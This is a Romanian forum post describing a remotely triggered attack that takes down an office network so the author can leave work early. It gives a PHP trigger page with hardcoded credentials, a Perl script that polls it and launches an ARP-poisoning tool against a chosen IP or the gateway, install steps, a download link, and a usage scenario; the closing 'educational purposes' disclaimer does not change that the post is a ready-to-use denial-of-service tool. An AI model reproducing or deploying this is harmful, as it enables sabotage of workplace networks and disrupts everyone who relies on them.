Jump to content
moubik

cum sa scapi mai devreme de la munca

Recommended Posts

m-am suparat ieri ca am stat peste program vreo 2h si chiar nu aveam chef.

ce am zis ?

cand am chef pic netu.

am facut un mic sistem si vi-l prezint si voua.

fac un cont pe un site free

si pun acolo acest script php:

http://site.com/index.php

<?php

session_start();

function loginMode()
{
?>

<form method="post">
User:<input type="text" name="user"/>

Pass:<input type="password" name="pass"/>

<input type="submit" name="butonplm" value="login">
</form>
<?php
}

function actionMode()
{
if ($_SESSION['uid'] != 'admin')
{
exit();
}

$action = fopen('info', 'r');
$cont = fgets($action);
?>
<form method="post">
<input type="submit" name="action" value="<?$cont == 'activated') ? 'deactivated' : 'activated')?>">
</form>
<?php
fclose($action);
}

if (!empty($_POST['user']) && !empty($_POST['pass']))
{
if (($_POST['user'] == 'admin') && ($_POST['pass'] == 'password'))
{
$_SESSION['uid'] = 'admin';
}
else
{
echo 'user/pass incorrect
';
}
?>
<script>
document.location = 'index.php';
</script>
<?php
}

if (empty($_SESSION['uid']))
{
loginMode();
}


if ((!empty($_POST['action'])) && ($_SESSION['uid'] == 'admin'))
{
$handle = fopen('info', 'w');
if ($_POST['action'] == 'activated' )
{
fputs ($handle, 'activated');
}
elseif ($_POST['action'] == 'deactivated' )
{
fputs ($handle, 'deactivated');
}
fclose($handle);
}

if ($_SESSION['uid'] == 'admin')
{
actionMode();
}

?>

ce face scriptu asta ?

pai cere login. si daca te-ai logat corect iti apare un buton care spune daca scriptul va fi activat sau nu.

daca scrie 'activated' este activat, daca scrie 'deactivated' este dezactivat.

ca sa schimbi starea pur si simplu dai click pe buton.

nu uitati sa creati si fisierul 'info' si chmod pe el 777

acum pe calculatorul de la munca am facut asa:

- am instalat modul Mechanize pentru perl.

nu este inclus in ppm, deci trebuie sa-l compilam manual.

1) download si install activeperl pentru windows de aici:

http://www.activestate.com/store/activeperl/download/

2) download Mechanize de aici

http://search.cpan.org/~petdance/WWW-Mechanize-1.34/lib/WWW/Mechanize.pm

vedeti ca linkul este in dreapta (are extensie .tar.gz)

3) unpack si rulati in directorul sau din command line

perl Makefile.pl

trebuie sa apara ceva de genul:

>perl Makefile.PL

It looks like you don't have SSL capability (like IO::Socket::SSL) installed.
You will not be able to process https:// URLs correctly.


WWW::Mechanize likes to have a lot of test modules for some of its tests.
The following are modules that would be nice to have, but not required.

Test::Pod
Test::Memory::Cycle
Test::Warn
Test::Taint


Checking if your kit is complete...
Looks good
Writing Makefile for WWW::Mechanize

in acest moment e compilat, sa-l copiem in directorul cu librarii perl

4) e directorul 'lib' care contine 'WWW' dati copy pe directorul 'WWW'

si paste in 'C:\Perl\lib'

bun. avem modulul Mechanize instalat.

(nu accept intrebari tampite legat de instalarea modulului Mechanize, ar trebui sa stiti si singuri cum se face asta, presupun ca exista documentatie..)

acum pe propriul calculator, partea care o sa faca toata blocarea retelei.

scriptul perl:

#!/usr/bin/perl
use strict;
use warnings;
use WWW::Mechanize;
use Test::More;
use threads;

$iptokill = '192.168.0.1'; #change ip to target
$activationlink = 'http://site.com/info'; #change link accordingly

sub thread1
{
system ('arptoxin1v1.exe -es % -sip 127.0.0.1 -smac % -d 1 /kill '. $iptokill);
}

my $mech = WWW::Mechanize->new();

my $activated;
my $content;

my $threadActivated = 0;
my $thread;

while (1)
{
print "fetching content\n";
$mech->get($activationlink);
$content = $mech->content();
$activated = ($content =~ m/deactivated/);

if ($activated && ($threadActivated == 0))
{
$threadActivated = 1;
print ('falling down');
$thread = threads->new(\&thread1);
if ($thread->is_joinable())
{
$thread->join();
}
}
if (($threadActivated == 1) && (!$activated))
{
$thread->kill('KILL')->detach();
}
sleep 10;
}

si executabilul arptoxin1v1.exe care se gaseste aici:

http://web.sunybroome.edu/~antonakos_j/cst203/arptoxin/

------------------------------------------------------------------------

sa facem un mic scenariu.

incepe sedinta la 17:53. injuri, pentru ca la 18:00 se termina programul.

pornesti pe propriul calculator scriptul runbaby.pl


perl runbaby.pl

in sedinta, te plictisesti si te scarpini in nas. la un moment dat termini tot ce aveai in nas si te plictisesti. iti dai seama ca ora este 19:43 si vrei sa pleci acasa.

scoti telefonul nokia e61, te conectezi la reteaua wireless locala.

intrii pe site-ul pe care ai instalat scriptul php (nu uitati de fisierul 'info'), te loghezi cu userul si parola pe care numai tu le stii.

iti apare butonul pe care scrie 'deactivated'

apesi pe el, se reincarca pagina. acum scrie 'activated' si astepti. in cateva secunde pica reteaua.

ce s-a intamplat ?

scriptul perl observa ca i-ai cerut ajutorul (cam asa cum era chemat batman, cu lumina pe cer) si ruleaza comanda

arptoxin1v1.exe -es % -sip 127.0.0.1 -smac % -d 1 /kill 192.168.0.1

(puteti sa modificati in script acest ip, daca puneti ip-ul gateway-ului pica toata reteaua, daca puneti ip-ul unui calculator specific, doar el cade)

netul nu mai merge, reteaua nu mai raspunde, in cateva minute sedinta trebuie sa se termine.

ridici din umeri si pleci acasa.

==============

am pus aici toate fisierele de care aveti nevoie (fara perl si mechanize)

http://rapidshare.com/files/95096827/neit.zip.html

==============

ATENTIE!

este o practica foarte dura. tranteste reteaua. recomand sa nu folositi asa ceva.

Acest articol a fost scris pur in scopuri educative

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...